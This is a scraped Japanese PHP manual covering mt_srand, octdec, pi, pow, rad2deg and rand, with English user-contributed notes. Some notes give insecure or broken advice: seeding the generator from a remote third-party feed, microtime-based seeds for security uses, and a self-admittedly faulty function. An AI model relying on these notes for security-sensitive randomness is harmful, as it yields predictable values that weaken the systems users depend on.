j dot s dot shiuan at gmail dot com 02-Sep-2011 11:12
Another good way to get a random float is to divide the result of mt_rand.
Let's say we want a float between 0.75 and 1.25.

<?php

$i = mt_rand(75,125) / 100;

?>
Robin Leffmann 25-Dec-2010 06:14
Fast, pseudo-random binary data generation using mt_rand():

<?php

function rnd_bin( $length )
{
    while( @$c++ * 16 < $length )
        @$tmp .= md5( mt_rand(), true );
    return substr( $tmp, 0, $length );
}

?>
nilesh at itech7 dot com 19-May-2010 12:20
A class to generate 99.5% unqiue strings. I found that there is only one or two characters common between two subsequent strings.

<?php

class Local_RandomString {

  protected $_length;
  protected $_prevRand;

  public function __construct($length = 15) {

    $this->_length = $length;

  }

  public function getRand() {

    $randStr = null;
    $args[] = 'N' . $this->_length;

    for($i = 0; $i < $this->_length; $i++) {
      $args[] = mt_rand();
    }

    $randStr = substr(base64_encode((call_user_func_array('pack', $args))), 1, $this->_length);
    $this->_prevRand = $randStr;
    return $randStr;

  }

  public function setLength($l) {

    $this->_length = (int) $l;

    if($this->_length <= 0) {
      throw new Exception('Invalid random string length');
    }

  }

  public function getPrevRand() {

    return $this->_prevRand;

  }

}
?>
mark omohundro, ajamyajax dot com 19-Feb-2009 09:13
just another example: both of these routines return a random decimal number between -1 and 1... since rand() only returns a max 'integer' value while mt_rand() return a max 'long' value -- at least on some platforms -- mt_rand() could be the better precision choice for some on any variation to this routine (but i don't think it matters here):

<?php
echo "-1 to 1 rand() value: ". (rand(getrandmax()*-1,getrandmax())/getrandmax()). "\n<br/>";
echo "-1 to 1 mt_rand() value: ". (mt_rand(mt_getrandmax()*-1,mt_getrandmax())/mt_getrandmax()). "\n";
?>
Mark Seecof 05-Jun-2008 11:31
If you need some pseudorandom bits for security or cryptographic purposes (e.g.g., random IV for block cipher, random salt for password hash) mt_rand() is a poor source.  On most Unix/Linux and/or MS-Windows platforms you can get a better grade of pseudorandom bits from the OS or system library, like this:

<?php
// get 128 pseudorandom bits in a string of 16 bytes

$pr_bits = '';

// Unix/Linux platform?
$fp = @fopen('/dev/urandom','rb');
if ($fp !== FALSE) {
    $pr_bits .= @fread($fp,16);
    @fclose($fp);
}

// MS-Windows platform?
if (@class_exists('COM')) {
    // http://msdn.microsoft.com/en-us/library/aa388176(VS.85).aspx
    try {
        $CAPI_Util = new COM('CAPICOM.Utilities.1');
        $pr_bits .= $CAPI_Util->GetRandom(16,0);

        // if we ask for binary data PHP munges it, so we
        // request base64 return value.  We squeeze out the
        // redundancy and useless ==CRLF by hashing...
        if ($pr_bits) { $pr_bits = md5($pr_bits,TRUE); }
    } catch (Exception $ex) {
        // echo 'Exception: ' . $ex->getMessage();
    }
}

if (strlen($pr_bits) < 16) {
    // do something to warn system owner that
    // pseudorandom generator is missing
}
?>

NB: it is generally safe to leave both the attempt to read /dev/urandom and the attempt to access CAPICOM in your code, though each will fail silently on the other's platform.  Leave them both there so your code will be more portable.
geompse at yopmail dot com 29-Mar-2008 04:01
mt_rand() is not faster than rand() !

Tested over 100'000 iterations, with none/various/random arguments, mt_rand is always 3% slower than rand().
fabiovh on gmail 13-Nov-2007 06:42
performance: for a repetitive task, it's much faster not to use the limit parameters, as shown below. just use the % operator.

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand()%3;
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand(0,2);
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand();
echo microtime(true)-$t;

output: 0.316797971725|0.442242145538|0.253082036972
rok dot kralj at gmail dot com 16-Jun-2007 12:42
mt_rand function returns just a whole numbers. If you want a random float, then here's an elegant way:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>
chagenbu at php dot net 21-Mar-2007 09:18
The algorithm used by mt_rand() changed in PHP 5.2.1. If you are relying on getting the same sequence from mt_rand() after calling mt_srand() with a known seed, upgrading to PHP 5.2.1 will break your code. See http://bugs.php.net/bug.php?id=40724 for something of an explanation; there is no workaround.
zolaar at nothanks dot com 07-Feb-2007 10:44
a better (and likely faster) way to generate a random 6-digit hex string:

<?php
$num = mt_rand ( 0, 0xffffff ); // trust the library, love the library...
$output = sprintf ( "%06x" , $num ); // muchas smoochas to you, PHP!
return $output;
?>

The mt_rand function won't give you a number outside the bounds you asked for -- no need to and-off the top bits -- and the sprintf function has params for length-padding & hexidecimal output.  It's likely faster because most of the work is being done by the wicked fast C functions that PHP sits on top of, though YMMV in that dept.
nowhere at where dot net 16-Apr-2005 02:46
Allows characters 0-9, a-z
Weighted (and tested) ok.

<?php
function generate_string ($length = 20)
{
    $nps = "";
    for($i=0;$i<$length;$i++)
    {
        $nps .= chr( (mt_rand(1, 36) <= 26) ? mt_rand(97, 122) : mt_rand(48, 57 ));
    }
    return $nps;
}
?>
11-Feb-2004 05:27
Here is a example of a very small, compact, quite random-random string generator. It will make a string with uppercase & lowercase letters, with numbers. You simply need to set $len in the for() structure, and then the string will be in $r.  It has been designed for size, while it's still quite fast.  Mind the wrapping, it should be 1 line.

<?php
for($len=8,$r='';strlen($r)<$len;$r.=chr(!mt_rand(0,2)?
mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand
(97,122))));
?>

Armond Carroll
demogracia at metropoliglobal dot com 02-Mar-2002 12:38
<?php
//
// Generates a random string with the specified length
// Chars are chosen from the provided [optional] list
//
function simpleRandString($length=16, $list="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"){
    mt_srand((double)microtime()*1000000);
    $newstring="";

    if($length>0){
        while(strlen($newstring)<$length){
            $newstring.=$list[mt_rand(0, strlen($list)-1)];
        }
    }
    return $newstring;
}

//
// Generates a random string with the specified length
// Includes: a-z, A-Z y 0-9
//
function randString($length=16) {
   $newstring="";
   if($length>0) {
       while(strlen($newstring)<$length) {
           $randnum = mt_rand(0,61);
           if ($randnum < 10) {
               $newstring.=chr($randnum+48);
           } elseif ($randnum < 36) {
               $newstring.=chr($randnum+55);
           } else {
               $newstring.=chr($randnum+61);
           }
       }
   }
   return $newstring;
}
?>


メルセンヌ・ツイスター乱数生成器にシードを指定する

  • ≪ mt_rand
  • octdec ≫
  • PHP Manual
  • Math 関数
  • メルセンヌ・ツイスター乱数生成器にシードを指定する

mt_srand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_srand — メルセンヌ・ツイスター乱数生成器にシードを指定する

説明

mt_srand ( int $seed = 0 , int $mode = MT_RAND_MT19937 ) : void

seed により乱数生成器にシードを指定します。 seed を指定しなかった場合は、 ランダムな値を設定します。

注意: srand() または mt_srand() によりランダム数生成器にシードを与える必要はありません。 これは、この処理が自動的に行われるためです。

パラメータ

seed

任意の整数値で指定するシード値。

mode

以下のいずれかの定数を使用して、使用するアルゴリズムの実装を指定します。

定数 | 説明
MT_RAND_MT19937 | PHP 7.1.0より利用可能となっている、正しく修正されたメルセンヌ・ツイスター実装を使用します。
MT_RAND_PHP | PHP 7.1.0以前でのデフォルトとして使用されていた、正しくないメルセンヌ・ツイスター実装を使用します。 このモードは、後方互換性を保つ際に使用できます。

返り値

値を返しません。

変更履歴

バージョン | 説明
7.1.0 | srand() は、mt_srand() の エイリアスになりました。
7.1.0 | mt_rand() は、正しく修正されたメルセンヌ・ツイスター・アルゴリズムを使用するように 更新されました。 以前のアルゴリズムに戻すには、mt_srand() に MT_RAND_PHP を 第2引数として指定してください。

例

例1 mt_srand() の例

<?php
// マイクロ秒でシードを指定します
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return $sec + $usec * 1000000;
}
mt_srand(make_seed());
$randval = mt_rand();
?>

参考

  • mt_rand() - メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
  • mt_getrandmax() - 乱数値の最大値を表示する
  • srand() - 乱数生成器を初期化する

User Contributed Notes

e at juresah dot si 15-Feb-2020 12:30
Please note that according to:
https://stackoverflow.com/a/11358829/2897386

The seed is automatically initialised with the current timestamp if not provided.

This means that your script will produce values of poor random quality if it's always run at a predictable time, for example by crontab. In that case it may be a good idea to initialise it manually from a cryptographically secure source.
Nibbels / downfight.de 04-Jun-2014 09:53
If you are new with seeding read my note.

I now understood seeding as a start-state of an algorithm. This algorithm generates a series of -following- pseudorandom numbers.
If you start generating from the same startvalue twice, you get the same series of random numbers twice in a row.

mt_srand(10); //start of your algorithm equals seeding set to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

echo "<BR>";

mt_srand(10); //start of your algorithm equals seeding set back to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

Output is like:
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200
<BR>
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200

My conclusion: Don't preset your seed to the same number all the time if you want "alternating random numbers"

Greetings
simon at labs dot coop 25-Dec-2013 09:19
I can't stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didn't seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
php dot net-comment at lucb1e dot com 25-Dec-2013 12:20
@  fasaxc at yahoo dot com:

If you want truly random numbers, use a truly random source. Your system is rather unwieldy when you can simply call openssl_random_pseudo_bytes() for good randomness. Don't use microtime as a source of randomness.
simon at labs dot coop 05-Oct-2013 07:40
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

mt_srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
josh at joshstrike dot com 25-Oct-2011 06:29
mt_srand effectively performs a modulo % 2147483648 on positive integers over 32 bits, but with negative integers it instead adds 2147483648 to the value it gets.

Seeds with equal results:
2147483649 == 1
2147483648 == 0
2147483647 == -1
-2147483646 == 2
-2147483647 == 1
-2147483648 == 0

Importantly though, seeding with anything less than -2147483648 will always yield the same result as seeding with zero.
limo at anime42 dot com 14-Apr-2010 07:33
I have spent the last couple of hours trying to track down a bug which affects mt_rand/rand and mt_srand/mt_rand.

OS is Debian 5.0.4 "Lenny".
PHP version is 5.3.2-0.dotdeb.1 with Suhosin-Patch (cli) (built: Mar  9 2010 11:42:01).

I have tried to fix the issue by appending the following lines into the .htaccess / apache2 main config file:

        php_value suhosin.mt_srand.ignore Off
        php_value suhosin.srand.ignore Off

This has helped a bit, stabilizing the beggining of the pseudo random number sequence, but the generator still fails after a fair number of iterations (roughly around 1K~3K.

*** Removing the Suhosin extension has resolved this issue, I am waiting for an official extension build that will work with 5.3.x so that I can reattach it into the php configuration. ***

Here is the code which ought to replicate the problem:

    $len = 100000;
    $min = 0;
    $max = 99;

    $t = (int)(microtime(true)*0xFFFF);

    $a = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $a[$i] = rand( $min, $max );

    $b = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $b[$i] = rand( $min, $max );

    for ( $i = 0; $i < $len; $i ++ )
        if ( $a[$i] !== $b[$i] )
            die( 'Pseudo-random sequence borked at #'.$i.'th iteration!');

    echo 'Your pseudo-random sequencer is working correctly.';
    exit( 0 );
dev at 10e12 dot net 23-Mar-2010 04:44
Sorry for the error in the previous...
Due to the glitch with the wordwrap I got annoyed and lost focus on the copy and paste move.

The last part of the actual function should read.

<?php
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_rand();
    }else{
        return mt_rand($retMin,$retMax);
    }

?>

And Nothing else of course...
dev at 10e12 dot net 23-Mar-2010 03:56
What about this for an example...

(sorry for the funky line breaks but I have once
more reported the bug on this issue of word
wrapping to no avail)

Intending to use it in passing a "semi-guaranteed"
properly seeded random number to a client, then to
capture input from the user which must be encrypted
client side before being sent to the server again
  a) during the same session and,
  b) within a set time limit.

for more reading also see:
  AES Rijndael enc/dec routines for javaScript
  developed and tested by Herbert Hanewinkel,
  http://www.hanewin.net/encrypt/aes/aes.htm

<?php
/*
calling the function, prepping the data to send to
the client... , who then uses it in a javascript
implementation of AES Encrypt.
*/

function SHA256($str, $keyval=""){
    if ($keyval!==""){//not null or empty
        $sHash = mhash(Constant('MHASH_SHA256'),$str, $keyval);
    }else{
        $sHash = mhash(Constant('MHASH_SHA256'),$str);
    }
    // same as Binary 2 Hex conversion
    return implode(unpack('H*',$sHash),'');
}

/*---------------------------------------------------
Radomizing the random data with fixed data for
the user and location If return value maximum
is set to zero (0) the function uses mt_getrandmax
If both retMin and retMax is zero (0) the function
uses mt_rand w.o. limits
*----------------------------------------------------*/
function local_prgn($retMin = 0, $retMax = 0){
// first get the session id of the request session
  $sSrv = session_id();

// the following is valid only on the current server
  $sSrv = implode(unpack($_SERVER['SERVER_NAME'].
             $_SERVER['SERVER_ADDR'].$sSrv),'');

// the following applies only to the requesting client
  $sReq = implode(unpack($_SERVER['REMOTE_ADDR'].
             $_SERVER['REQUEST_TIME']),'');

// get a SHA256 seed based on the current values
  $sSeed = SHA256($sSrv,$sReq);

// get a random value based on the uniqueness of the seed above
    mt_srand($sSeed); // seed the random num gen

// some error handling and checking
    if ($retMin > $retMax){
    // swap vars if wrong order
        $rx = $retMax; $retMax = $retMin; $retMin = $rx;

    } else if ($retMin == $retMax){
    //meaningless range, not very random
    //ensure for next check in this range
        $retMin = 0; $retMax = 0;
    }
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_getrandmax();
    }else{
        return mt_getrandmax($retMin,$retMax);
    }
}

?>
Alderin1 at gmail dot com 19-Nov-2007 10:55
I think Joe was a little confused by the wording.  The note meant that implementations of mt_rand() before the change would generate a different set of pseudorandom numbers than would implementations of mt_rand() after the change for the same seed.

That's how it reads for me, anyway.
Kapr 14-Jun-2007 10:25
To slonmron:
Seed for random numbers generator should be initialized only once, before calling proper rand function. After that you give pseudorandom sequence by multiple calling rand. Initialization of random seed is used if 1) You have better source of random seed than implemented algorithm or 2) if You need always the same sequence of pseudorandom numbers. Example given by You shows only that first rand result strongly depends on seed, what is by definition. It is not a bug.
slonmron_no_spam_please_ at yahoo dot com 15-Mar-2007 11:44
Looks like mt_rand() gives same result for different seeds when the lowest bits are different only. Try this:

#!/usr/bin/php -q
<?php

$min = -17;
$max = $min + 48; // 48 is to fit the results in my console

for ($testseed=$min; $testseed<$max; $testseed++)
{
    mt_srand( $testseed );
    $r = mt_rand();
    printf("mt_srand( 0x%08x ): mt_rand() == 0x%08x == %d\n", $testseed, $r, $r);
}

?>

This is a snapshop of the results:
...
mt_srand( 0xfffffffc ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffd ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffe ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0xffffffff ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0x00000000 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000001 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000002 ): mt_rand() == 0x4e0a2cdd == 1309289693
mt_srand( 0x00000003 ): mt_rand() == 0x4e0a2cdd == 1309289693
...

I found this occationally. I have no idea if it is a bug or not. In my real life I do not intend to use sequentional seeds. However, probably this may be important for somebody.
oxai NOSPAM post dot htnet dot hr 09-Sep-2006 11:14
try this instead(!):

<?php

// randomizes MT's seed once per process.

function randomizeProcessSeed()
{
    static $thisProcessHasBeenInitialized;

    if( $thisProcessHasBeenInitialized ) return;

    list($usec, $sec) = explode(' ', microtime());
    mt_srand( (10000000000 * (float)$usec) ^ (float)$sec );

    $thisProcessHasBeenInitialized = true;
} randomizeProcessSeed();
?>
gigs 12-Jan-2006 11:13
used the little script from mrcheezy at hotmail dot com and got much better results using

mt_srand(crc32(microtime()));
vbassassin at coderheaven dot com 30-Nov-2005 08:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
12-Sep-2005 06:03
It's better to use the following method instead of the one in the documentation metioned:

<?php
mt_srand((double)(microtime() ^ posix_getpid()));
?>

Otherwise people requesting the script at the same time could get the same generated number.
fasaxc at yahoo dot co dot uk 25-Jul-2003 08:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##   a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##   b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
    if ($force_random) {
        $u='';
    } else {
        $u='u';
    }
    $ran_string=shell_exec("head -c 4 /dev/{$u}random");
    $random=ord(substr($ran_string,0,1))<<24 |
            ord(substr($ran_string,1,1))<<16 |
            ord(substr($ran_string,2,1))<<8 |
            ord(substr($ran_string,3,1));
    return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
    # use mt_rand() to get the next seed
    mt_srand($seed);
    # then XOR that with a random word
    $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
    # Generate the seed as a proper random no using /dev/random
    $seed=get_random_word(True);
    mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com 17-Jul-2003 04:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com 17-Feb-2003 02:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
ghaecker_no_spam at idworld dot net 21-Sep-2002 01:20
The range of unique seeds using this method is a bit over 2 billion.  This approach also prevents re-seeding.

function seed_mt_rand() {
??static $done;
??if (!$done) {
????$hash = md5(microtime());
????$length = ((substr($hash,0,1) < '8') ? 8 : 7 );
????mt_srand((int)base_convert(substr($hash,0,$length),16,10));
????$done = TRUE;
??}
}
maxim at php dot net 13-Jun-2002 02:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net 20-Feb-2002 02:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.


8 進数を 10 進数に変換する

  • ≪ mt_srand
  • pi ≫
  • PHP Manual
  • Math 関数
  • 8 進数を 10 進数に変換する

octdec

(PHP 4, PHP 5, PHP 7, PHP 8)

octdec — 8 進数を 10 進数に変換する

説明

octdec ( string $octal_string ) : int|float

octal_string により指定された 8 進数を 10 進数表現した数値を返します。

パラメータ

octal_string

変換したい 8 進文字列。 octal_string に無効な文字を与えても、静かに無視されます。 PHP 7.4.0 以降では、無効な文字を与えることは推奨されません。

返り値

octal_string を 8 進で表した値を返します。

変更履歴

バージョン | 説明
7.4.0 | 無効な文字を与えると、非推奨の警告が出るようになりました。 結果は不正な文字がなかったかのように計算されます。

例

例1 octdec() の例

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

上の例の出力は以下となります。

63
45

注意

注意:

この関数は、プラットフォームの int 型に収まらない大きな数も変換できます。 その場合、結果は float で返します。

参考

  • decoct() - 10 進数を 8 進数に変換する
  • bindec() - 2 進数 を 10 進数に変換する
  • hexdec() - 16 進数を 10 進数に変換する
  • base_convert() - 数値の基数を任意に変換する

User Contributed Notes

contato at andersonfraga dot net 18-Aug-2008 01:30
Number is octal?

Simple and easy:

<?php

function is_octal($x) {
    return decoct(octdec($x)) == $x;
}

echo is_octal(077); // true
echo is_octal(195); // false

?>

Thanks
[]'s
harry at disgruntledgoat dot com 27-Mar-2007 03:03
Calling the sticky bit "text" is not erroneous: On UNIX back in 1974, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeded subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory.
11-Sep-2002 01:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).


円周率の値を得る

  • ≪ octdec
  • pow ≫
  • PHP Manual
  • Math 関数
  • 円周率の値を得る

pi

(PHP 4, PHP 5, PHP 7, PHP 8)

pi — 円周率の値を得る

説明

pi ( ) : float

円周率の近似値を返します。 また、定数 M_PI を使用することで pi() とまったく同じ結果を取得することも可能です。

返り値

円周率の値を不動小数点数で返します。

例

例1 pi() の例

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

User Contributed Notes

davidduke at hotmail dot com 27-Mar-2004 06:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)


指数表現

  • ≪ pi
  • rad2deg ≫
  • PHP Manual
  • Math 関数
  • 指数表現

pow

(PHP 4, PHP 5, PHP 7, PHP 8)

pow — 指数表現

説明

pow ( int|float $base , int|float $exp ) : int|float

base の exp 乗を返します。

注意:

PHP 5.6 以降では、 ** 演算子も使えます。

パラメータ

base

使用する基数。

exp

指数。

返り値

base の exp 乗を返します。 両方の引数が非負の整数で、かつ結果が int 型の範囲に収まる場合は、結果を int 型で返します。 それ以外の場合は結果を float 型で返します。

例

例1 pow() の例

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1
echo pow(10, -1); // 0.1

echo pow(-1, 5.5); // PHP >=5.2.2: NAN
echo pow(-1, 5.5); // PHP <5.2.2: -NAN
?>

注意

注意:

この関数はすべての入力を (スカラー値以外でも) 数値に変換します。 その結果、予想外の結果を引き起こすことがあります。

参考

  • exp() - e の累乗を計算する
  • sqrt() - 平方根
  • bcpow() - 任意精度数値をべき乗する
  • gmp_pow() - べき乗を計算する

User Contributed Notes

Roman 15-Dec-2020 04:15
If you use negative numbers, you need to use brackets for using with **

<?php

-1 ** 2; // -1

(-1) ** 2; // 1

?>
jaxx1rr at gmail dot com 29-Sep-2019 02:25
funny thing

number_format(pow(2, 1023));
gives a long number

but number_format(pow(2, 1024));
gives inf
raiika 03-Oct-2018 05:28
It is official now that you could use

<?php

2 ** 3; // 8

// instead of

pow(2, 3); // 8

?>
scott at arciszewski dot me 14-Feb-2014 03:24
As of PHP 5.6.0alpha2, there is now an exponentiation operator. If this is kept in the final release, it may be worth noting here.

<?php
// These two will be equivalent as of PHP 5.6.0
$x = $y ** 2;
$x = pow($y, 2);
?>
chris at ocportal dot com 21-May-2012 04:05
Many notations use "^" as a power operator, but in PHP (and other C-based languages) that is actually the XOR operator. You need to use this 'pow' function, there is no power operator.

i.e. 3^2 means "3 XOR 2" not "3 squared".

It is particular confusing as when doing Pythagoras theorem in a 'closet points' algorithm using "^" you get results that look vaguely correct but with an error.
gilthansREMOVEME at gmail dot com 15-Dec-2006 07:50
Note that pow(0, 0) equals to 1 although mathematically this is undefined.


ラジアン単位の数値を度単位に変換する

  • ≪ pow
  • rand ≫
  • PHP Manual
  • Math 関数
  • ラジアン単位の数値を度単位に変換する

rad2deg

(PHP 4, PHP 5, PHP 7, PHP 8)

rad2deg — ラジアン単位の数値を度単位に変換する

説明

rad2deg ( float $num ) : float

この関数は、num の単位をラジアンから度に変換します。

パラメータ

num

ラジアン値。

返り値

num と同等な値を度で表したものを返します。

例

例1 rad2deg() の例

<?php

echo rad2deg(M_PI_4); // 45

?>

参考

  • deg2rad() - 度単位の数値をラジアン単位に変換する

User Contributed Notes

There are no user contributed notes for this page.


乱数を生成する

  • ≪ rad2deg
  • round ≫
  • PHP Manual
  • Math 関数
  • 乱数を生成する

rand

(PHP 4, PHP 5, PHP 7, PHP 8)

rand — 乱数を生成する

説明

rand ( ) : int
rand ( int $min , int $max ) : int

オプションの引数 min,max を省略してコールした場合、rand() は 0 と getrandmax() の間の擬似乱数(整数)を返します。 例えば、5 から 15 まで（両端を含む）の乱数を得たい場合、 rand(5, 15) とします。

警告

この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

注意: （Windows のような）いくつかのプラットフォームでは、getrandmax() は 32767 と小さな値となっています。 32767 より広い範囲にしたい場合、 min および max を指定することで、 これより大きな範囲の乱数を生成することができます。 もしくは、 mt_rand() をかわりに使用してみてください。

注意: PHP 7.1.0 以降、rand() は、 mt_rand() と同じ乱数生成器を使います。 下位互換性を保持するために、mt_rand() は false を返すのと対照的に、rand() は max が min よりも小さいことを許します。

パラメータ

min

返す値の最小値 (デフォルトは 0)。

max

返す値の最大値 (デフォルトは getrandmax())。

返り値

min (あるいは 0) から max (あるいは getrandmax()、それぞれ端点を含む) までの間の疑似乱数値を返します。

変更履歴

バージョン | 説明
7.2.0 | rand() 関数のモジュロバイアスに関するバグが 修正されました。 これは、特定のシードから生成されるシーケンスが 64bit PHP 7.1 のそれとは異なる可能性があるということです。
7.1.0 | rand() は、mt_rand() の エイリアスになりました。

例

例1 rand() の例

<?php
echo rand() . "\n";
echo rand() . "\n";

echo rand(5, 15);
?>

